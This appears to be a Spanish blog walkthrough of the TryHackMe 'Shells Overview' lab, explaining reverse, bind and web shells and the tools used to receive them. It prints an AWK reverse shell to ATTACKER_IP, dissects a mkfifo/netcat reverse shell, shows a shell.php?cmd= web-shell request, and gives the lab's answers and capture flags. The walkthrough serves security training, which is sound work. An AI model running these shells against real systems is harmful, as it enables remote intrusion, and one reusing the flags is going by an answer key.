Hola hacketones! Bienvenidos a un nuevo CTF para la Certificación SEC1 de la ruta Cyber Security 101 de TryHackMe – Shells Overview

Tarea 2 Descripción general de Shell
¿Qué es una Shell?
Un shell es un software que permite a un usuario interactuar con unSistema operativoPuede ser una interfaz gráfica, pero normalmente es una interfaz de línea de comandos, y esto dependerá del sistema operativo que se ejecute en el sistema de destino.
En ciberseguridad, se refiere comúnmente a una sesión de shell específica que un atacante utiliza al acceder a un sistema comprometido, lo que le permite ejecutar comandos y software. Esto permite a los atacantes realizar diversas actividades, algunas de las cuales se describen a continuación.
- Control remoto del sistema : permite al atacante ejecutar comandos o software de forma remota en el sistema objetivo.
- Escalada de privilegios : Si el acceso inicial a través de una consola es limitado o restringido, los atacantes pueden explorar formas de escalar privilegios para obtener un acceso más elevado o administrativo.
- Exfiltración de datos : Una vez que los atacantes tienen acceso para ejecutar comandos a través de una shell obtenida, pueden explorar el sistema para leer y copiar datos confidenciales del mismo.
- Persistenciay Acceso de mantenimiento : Una vez que se obtiene acceso a la consola, los atacantes pueden crear acceso a través de usuarios y credenciales o copiar software de puerta trasera para mantener el acceso al sistema objetivo para su uso posterior.
- Actividades posteriores a la explotación : Una vez que se concede el acceso a una consola, los atacantes pueden realizar una amplia gama de actividades posteriores a la explotación, como desplegar malware, crear cuentas ocultas y eliminar información.
- Acceso a otros sistemas en la red : Dependiendo de las intenciones del atacante, la shell obtenida puede ser solo un punto de acceso inicial. El objetivo puede ser saltar a través de la red hasta un objetivo diferente utilizando la shell obtenida como punto de pivote para acceder a distintos puntos de la red del sistema comprometido. Esto también se conoce como pivoteo.
Todas las shells que describiremos en las próximas tareas pueden ayudar a lograr diferentes limitaciones de los ataques descritos anteriormente.
Responda las siguientes preguntas
¿Qué es la interfaz de línea de comandos que permite a los usuarios interactuar con un sistema operativo?
Shell
¿Qué proceso implica utilizar un sistema comprometido como plataforma de lanzamiento para atacar otras máquinas de la red?
Pivoting
¿Cuál es una actividad común que realizan los atacantes después de obtener acceso a la consola para escalar sus privilegios?
Privilege Escalation
Tarea 3 Shell inversa
Una shell inversa, también conocida como «shell de conexión inversa», es una de las técnicas más comunes para acceder a un sistema en ciberataques. Las conexiones se inician desde el sistema objetivo hacia la máquina del atacante, lo que puede ayudar a evitar la detección por parte de los cortafuegos de red y otros dispositivos de seguridad.
Cómo funcionan las shells inversas
Configurar un oyente de Netcat (nc)
Ahora vamos a entender cómo funciona una shell inversa en un escenario práctico utilizando la herramienta Netcat. Esta utilidad es compatible con varios sistemas operativos y permite leer y escribir a través de una red.
Como se mencionó anteriormente, una shell inversa se conectará de nuevo a la máquina del atacante. Esta máquina estará esperando una conexión, así que usemos Netcat para escuchar una conexión usando el siguiente comando nc -lvnp 443.

El comando anterior utiliza la -l opción para indicar a Netcat que escuche o espere una conexión. La -vopción habilita el modo detallado. La -nopción impide que las conexiones utilicen DNS para la búsqueda, por lo que no resolverá ningún nombre de host, sino que utilizará una dirección IP. Finalmente, el -pindicador especifica el puerto que se utilizará para esperar la conexión; en este caso, el puerto 443 .
Se puede usar cualquier puerto para esperar una conexión, pero los atacantes y pentesters suelen usar puertos conocidos que utilizan otras aplicaciones, como el 53 , el 80 , el 8080 , el 443 , el 139 o el 445. Esto permite camuflar la shell inversa con el tráfico legítimo y evitar la detección por parte de los dispositivos de seguridad.
Cómo obtener acceso a la shell inversa
Una vez configurado nuestro oyente, el atacante debe ejecutar lo que se conoce como una carga útil de shell inversa. Esta carga útil suele aprovechar la vulnerabilidad o el acceso no autorizado otorgado por el atacante y ejecuta un comando que expone la shell a través de la red. Existen diversas cargas útiles que dependerán de las herramientas y el sistema operativo del sistema comprometido. Podemos explorar algunas de ellas aquí.(Se abre en una pestaña nueva).
Como ejemplo, analicemos una carga útil de ejemplo llamada » pipe reverse shell» , como se muestra a continuación.

Explicación de la carga útil
- rm -f /tmp/f- Este comando elimina cualquier archivo de tubería con nombre existente ubicado en /tmp/f/. Esto garantiza que el script pueda crear una nueva tubería con nombre sin conflictos.
- mkfifo /tmp/f- Este comando crea una tubería con nombre, o FIFO (primero en entrar, primero en salir), en /tmp/f. Las tuberías con nombre permiten la comunicación bidireccional entre procesos. En este contexto, actúa como un conducto para la entrada y la salida.
- cat /tmp/f- Este comando lee datos de la tubería especificada. Espera a que se envíen datos a través de la tubería.
- | bash -i 2>&1- La salida catse canaliza a una instancia de shell ( bash -i), lo que permite al atacante ejecutar comandos de forma interactiva. El 2>&1sistema redirige el error estándar a la salida estándar, asegurando que los mensajes de error se envíen de vuelta al atacante.
- | nc ATTACKER_IP ATTACKER_PORT >/tmp/f- Esta parte redirige la salida del shell a través de nc(Netcat) a la dirección IP del atacante ( ATTACKER_IP) en el puerto del atacante ( ATTACKER_PORT).
- >/tmp/f -Esta parte final envía la salida de los comandos de vuelta a la tubería especificada, lo que permite la comunicación bidireccional.
La carga útil anterior puede exponer el shell basha través de la red al oyente deseado.
El atacante recibe el shell
Una vez ejecutada la carga útil anterior, el atacante recibirá una shell inversa , como se muestra a continuación, lo que le permitirá ejecutar comandos como si estuviera iniciando sesión en una terminal normal del sistema operativo.
Salida del terminal del atacante (shell receptor)

La salida anterior muestra la conexión proveniente de la IP 10.10.13.37, que es la dirección IP del objetivo comprometido.
Responda las siguientes preguntas
¿Qué tipo de shell permite a un atacante ejecutar comandos de forma remota después de que el objetivo se vuelva a conectar?
Reverse Shell
¿Qué herramienta se utiliza habitualmente para configurar un oyente para una shell inversa?
Netcat
Tarea 4 Enlace Shell
Enlace Shell
Como su nombre indica, un shell de enlace vinculará un puerto en el sistema comprometido y escuchará una conexión; cuando se produce esta conexión, expone la sesión del shell para que el atacante pueda ejecutar comandos de forma remota.
Este método puede utilizarse cuando el objetivo comprometido no permite conexiones salientes, pero tiende a ser menos popular, ya que necesita permanecer activo y a la escucha de conexiones, lo que puede llevar a su detección.
Cómo funcionan los shells de enlace
Configurar el shell de enlace en el objetivo
Vamos a crear una shell de enlace. En este caso, el atacante puede usar un comando como el siguiente en la máquina del laboratorio.

Explicación de la carga útil
- rm -f /tmp/f- Este comando elimina cualquier archivo de tubería con nombre existente ubicado en /tmp/f/. Esto garantiza que el script pueda crear una nueva tubería con nombre sin conflictos.
- mkfifo /tmp/f- Este comando crea una tubería con nombre, o FIFO, en /tmp/f. Las tuberías con nombre permiten la comunicación bidireccional entre procesos. En este contexto, actúa como un conducto para la entrada y la salida.
- cat /tmp/f- Este comando lee datos de la tubería especificada. Espera a que se envíen datos a través de la tubería.
- | bash -i 2>&1- La salida catse canaliza a una instancia de shell ( bash -i), lo que permite al atacante ejecutar comandos de forma interactiva. El 2>&1sistema redirige el error estándar a la salida estándar, asegurando que los mensajes de error se devuelvan al atacante.
- | nc -l 0.0.0.0 8080– Inicia Netcat en modo de escucha ( -l) en todas las interfaces ( 0.0.0.0) y el puerto 8080. El shell quedará expuesto al atacante una vez que se conecte a este puerto.
- >/tmp/f Esta parte final envía la salida de los comandos de vuelta a la tubería especificada, lo que permite la comunicación bidireccional.
El comando anterior escuchará las conexiones entrantes y abrirá una consola bash. Es importante tener en cuenta que los puertos inferiores a 1024 requerirán que Netcat se ejecute con privilegios elevados. En este caso, usar el puerto 8080 evitará este problema.
Terminal en la máquina del laboratorio (Configuración de shell de enlace)

Una vez ejecutado el comando, esperará una conexión entrante, como se muestra arriba.
El atacante se conecta a la shell de Bind
Ahora que la máquina del laboratorio está esperando conexiones entrantes, podemos usar Netcat nuevamente con el siguiente comando para conectarnos.
nc -nv TARGET_IP 8080
Explicación del comando
- nc- Esto invoca a Netcat, que establece la conexión con el objetivo.
- -n- Deshabilita la resolución DNS, lo que permite que Netcat funcione más rápido y evite búsquedas innecesarias.
- -v- El modo detallado proporciona información detallada sobre el proceso de conexión, como por ejemplo, cuándo se establece la conexión.
- TARGET_IP- La dirección IP del equipo del laboratorio donde se ejecuta el intérprete de comandos bind.
- 8080- El número de puerto en el que escucha el intérprete de comandos bind.
Terminal del atacante (después de la conexión)

Tras conectarnos, podemos obtener una consola, como se muestra arriba, y ejecutar comandos.
Responda las siguientes preguntas
¿Qué tipo de shell abre un puerto específico en el objetivo para las conexiones entrantes del atacante?
Bind Shell
¿Para escuchar en el siguiente número de puerto se requiere acceso de administrador o permisos privilegiados?
1024
Tarea 5 Oyentes de Shell
Como aprendimos en tareas anteriores, una shell inversa se conecta desde la máquina objetivo comprometida a la máquina del atacante. Una utilidad como Netcat gestiona la conexión y permite al atacante interactuar con la shell expuesta, pero Netcat no es la única utilidad que nos permite hacerlo.
Exploremos algunas herramientas que se pueden usar como oyentes para interactuar con una consola entrante.
Rlwrap
Se trata de una pequeña utilidad que utiliza la biblioteca GNU readline para proporcionar un teclado de edición y un historial de comandos.
Ejemplo de uso (Mejora de una consola Netcat con Rlwrap)

Esto se integra nccon rlwrap, lo que permite el uso de funciones como las teclas de flecha y el historial para una mejor interacción.
Ncat
Ncat es una versión mejorada de Netcat, distribuida por el proyecto NMAP. Ofrece funciones adicionales, como el cifrado (SSL).
Ejemplo de uso (Escuchando shells inversas)

Ejemplo de uso (Escuchar shells inversas con SSL)

Esta –sslopción habilita el cifrado SSL para el oyente.
Socat
Se trata de una utilidad que permite crear una conexión de socket entre dos fuentes de datos, en este caso, dos hosts diferentes.
Ejemplo de uso predeterminado (escuchando la shell inversa):

El comando anterior usó la -dopción para habilitar la salida detallada; usarla de nuevo ( -d -d) aumentará la verbosidad de los comandos. La TCP-LISTEN:443opción crea unTCPEl oyente en el puerto 443establece un socket de servidor para las conexiones entrantes. Finalmente, la opción STDOUT dirige los datos entrantes a la terminal.
Responda las siguientes preguntas
¿Qué herramienta de red flexible permite crear una conexión de socket entre dos fuentes de datos?
socat
¿Qué utilidad de línea de comandos proporciona edición al estilo readline e historial de comandos para programas que carecen de ello, mejorando la interacción con un intérprete de comandos?
rlwrap
¿Cuál es la versión mejorada de Netcat que se distribuye con el proyecto Nmap y que ofrece funciones adicionales como soporte SSL para escuchar shells cifrados?
ncat
Tarea 6 Cargas útiles de Shell
Una carga útil de shell puede ser un comando o script que expone el shell a una conexión entrante en el caso de un shell de enlace o a una conexión de envío en el caso de un shell inverso.
Exploremos algunas de estas cargas útiles que se pueden utilizar en elLinux Sistema operativopara exponer la carcasa a través de la carcasa inversa más popular .
Bash
Bash normal Shell inverso

Esta shell inversa inicia una shell bash interactiva que redirige la entrada y la salida a través de unTCPconexión a la IP del atacante ( ATTACKER_IP ) en el puerto 443. El >&operador combina la salida estándar y el error estándar.
Bash Read Line Reverse Shell

Esta shell inversa crea un nuevo descriptor de archivo ( 5 en este caso) y se conecta a un socket TCP. Leerá y ejecutará comandos desde el socket, enviando la salida de vuelta a través del mismo socket.
Bash con descriptor de archivo 196 Shell inversa

Esta shell inversa utiliza un descriptor de archivo ( 196 en este caso) para establecer una conexión TCP. Permite que la shell lea comandos de la red y envíe la salida a través de la misma conexión.
Bash con descriptor de archivo 5 Shell inversa

De forma similar al primer ejemplo, este comando abre un shell ( bash -i), pero utiliza descriptores de archivo 5para la entrada y la salida, lo que permite una sesión interactiva a través de la conexión TCP.
PHP
Shell inversa PHP usando la función exec

Esta shell inversa crea una conexión de socket con la IP del atacante en el puerto 443y utiliza la exec función para ejecutar una shell, redirigiendo la entrada y salida estándar.
Shell inversa PHP usando la función shell_exec

Similar al comando anterior, pero utiliza la shell_exec función.
PHP Reverse Shell usando la función del sistema

Esta shell inversa emplea la system función, que ejecuta el comando y muestra el resultado en el navegador.
Shell inversa PHP usando la función passthru

Esta passthrufunción ejecuta un comando y envía la salida sin procesar al navegador. Esto resulta útil al trabajar con datos binarios.
Shell inversa PHP usando la función popen

Este shell inverso se utiliza popenpara abrir un puntero de archivo de proceso, lo que permite que el shell se ejecute.
Python
Tenga en cuenta que los siguientes fragmentos de código requieren el uso python -cde para ejecutarse, indicado por el marcador de posición PY-C.
Shell inversa de Python mediante la exportación de variables de entorno


Este shell inverso establece el host remoto y el puerto como variables de entorno, crea una conexión de socket y duplica el descriptor de archivo del socket para la entrada/salida estándar.
Shell inversa de Python usando el módulo subprocess


NOTA: tomo captura porque subir el código hace que luego esta pagina sea bloqueada ya que los antivirus creen que esta infectada.
Esta shell inversa utiliza el subprocessmódulo para generar una shell y configurar un entorno similar al del comando Python Reverse Shell by Exporting Environment Variables.
Shell inversa corta de Python

Esta shell inversa crea un socket ( s), se conecta al atacante y redirige la entrada, salida y error estándar al socket usando os.dup2().
Otros
Telnet

Este shell inverso crea una tubería con nombre mkfifoy se conecta al atacante a través de Telnet en la IP ATTACKER_IP y el puerto 443.
AWK
Terminal
target@tryhackme:~$awk’BEGIN {s = «/inet/tcp/0/ATTACKER_IP/443»; while(42) { do{ printf «shell>» |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != «exit») close(s); }}’/dev/null
Esta shell inversa utiliza la función integrada de AWK.TCPCapacidades para conectarse a ATTACKER_IP:443. Lee los comandos del atacante y los ejecuta. Luego envía los resultados de vuelta a través de la misma conexión TCP.
BusyBox

Esta shell inversa de BusyBox utiliza Netcat ( nc) para conectarse al atacante en ATTACKER_IP:443. Una vez conectado, ejecuta /bin/sh, exponiendo la línea de comandos al atacante.
Responda las siguientes preguntas
¿Qué módulo de Python se utiliza habitualmente para gestionar comandos de shell y establecer conexiones de shell inversa en evaluaciones de seguridad?
subprocess
¿Qué método de carga útil de shell en un lenguaje de scripting común utiliza las funciones exec, shell_exec, system, passthru, y para ejecutar comandos de forma remota a través de una conexión TCP?popen
PHP
¿Qué lenguaje de scripting puede utilizar una shell inversa exportando variables de entorno y creando una conexión de socket?
Python
Tarea 7 Web Shell
Un web shell es un script escrito en un lenguaje compatible con un servidor web comprometido que ejecuta comandos a través del propio servidor. Generalmente, un web shell es un archivo que contiene el código para ejecutar comandos y gestionar archivos. Puede estar oculto dentro de una aplicación o servicio web comprometido, lo que dificulta su detección y lo convierte en una herramienta muy popular entre los atacantes.
Los shells web se pueden escribir en varios lenguajes compatibles con los servidores web, comoPHP, ASP, JSP e incluso scripts CGI sencillos.
Ejemplo PHP Web Shell
Veamos un ejemplo.PHPInterfaz web para comprender cómo funciona este proceso:

El script anterior se puede guardar en un archivo con elPHPextensión, como , y luego subida al servidor web por el atacante explotando vulnerabilidades tales como Carga de archivos sin restricciones , Inclusión de archivos , Inyección de comandos , entre otras, o obteniendo acceso no autorizado al mismo. shell.php
Una vez desplegada la interfaz web en el servidor, se puede acceder a ella a través de la URL donde está alojada, en este ejemplo http://victim.com/uploads/shell.PHPComo observamos en el código shell.php, necesitamos proporcionar un método GET y el valor de la variable cmd, que debe contener el comando que el atacante desea ejecutar. Por ejemplo, si queremos ejecutar el comando whoami, la solicitud a la URL debería ser:
http://victim.com/uploads/shell.PHP?cmd=whoami
Lo anterior ejecutará el comando whoami y mostrará el resultado en el navegador web.
Shells web existentes disponibles en línea
La potencia de los lenguajes compatibles con los servidores web permite crear shells web con mucha funcionalidad que, al mismo tiempo, evitan la detección. Exploremos algunos de los shells web más populares que se pueden encontrar en línea.
- p0wny-shell(opens in new tab) Una fila única minimalistaPHPInterfaz web que permite la ejecución remota de comandos.

- b374k(Se abre en una pestaña nueva)– Una versión con más funcionesPHPInterfaz web con gestión de archivos y ejecución de comandos, entre otras funcionalidades.

- c99(Se abre en una pestaña nueva)– Un producto bien conocido y robustoPHPInterfaz web con amplia funcionalidad.

Puedes encontrar más shells web en: https://www.r57shell.net/index.PHP(Se abre en una pestaña nueva).
Responda las siguientes preguntas
¿Qué tipo de vulnerabilidad permite a los atacantes subir un script malicioso al no restringir los tipos de archivo?
Unrestricted File Upload
¿Qué es un script malicioso subido a una aplicación web vulnerable para obtener acceso no autorizado?
Web Shell
Tarea 8
Ahora que hemos aprendido sobre los diferentes tipos de shells inversas, pongamos a prueba nuestros conocimientos con un ejercicio práctico y obtengamos la bandera en el formatoTHM{} desde el servidor web vulnerable. Haz clic en el Start Lab Machine botón para comenzar el desafío. Después, podrás acceder a él en las siguientes URL:
- La página de inicio se encuentra alojada en la IP de la máquina 8080.
- La dirección IP de la máquina: 8081 aloja la aplicación web vulnerable a la inyección de comandos.
- La dirección IP de la máquina 8082 aloja la aplicación web que es vulnerable a la carga de archivos sin restricciones.
Puedes acceder a lo anterior usando AttackBox, que se mostrará en una pantalla dividida, o puedes usar tu propio acceso a través deVPN.
Nota: Por favor, espere 2 minutos para laVMpara arrancar completamente.
Responda las siguientes preguntas
Utilizando una shell inversa o de enlace, explote la vulnerabilidad de inyección de comandos para obtener una shell. ¿Cuál es el contenido de la bandera guardada en el directorio /?
THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}
Utilizando una shell web, explota la vulnerabilidad de carga de archivos sin restricciones y obtén acceso a la shell. ¿Cuál es el contenido de la bandera guardada en el directorio /?
THM{202bb14ed12120b31300cfbbbdd35998786b44e5}
Tarea 9 Conclusión
En esta sala, aprendimos sobre las shells inversas , las shells de enlace y las shells web , cómo son fundamentales para los atacantes, los pentesters y los defensores, y cómo identificarlas.
Las shells inversas establecen una conexión desde una máquina comprometida hacia el sistema del atacante. Por otro lado, las shells de enlace (bind shells ) escuchan las conexiones entrantes en una máquina comprometida, y las shells web ofrecen a los atacantes una vía única para explotar vulnerabilidades en aplicaciones web.
Para los profesionales de la seguridad, comprender las estructuras de datos internas de los sistemas es fundamental, ya sea para realizar pruebas de penetración o para identificar y defender sistemas.
Responda las siguientes preguntas
¡He completado la sala con éxito y ahora entiendo cómo funcionan las shells inversas, las shells de enlace y las shells web!
Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!